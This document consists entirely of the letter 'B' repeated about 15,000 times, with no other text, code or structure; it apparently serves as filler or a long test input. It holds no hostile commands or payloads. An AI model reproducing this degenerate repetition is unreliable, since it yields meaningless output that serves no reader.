BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB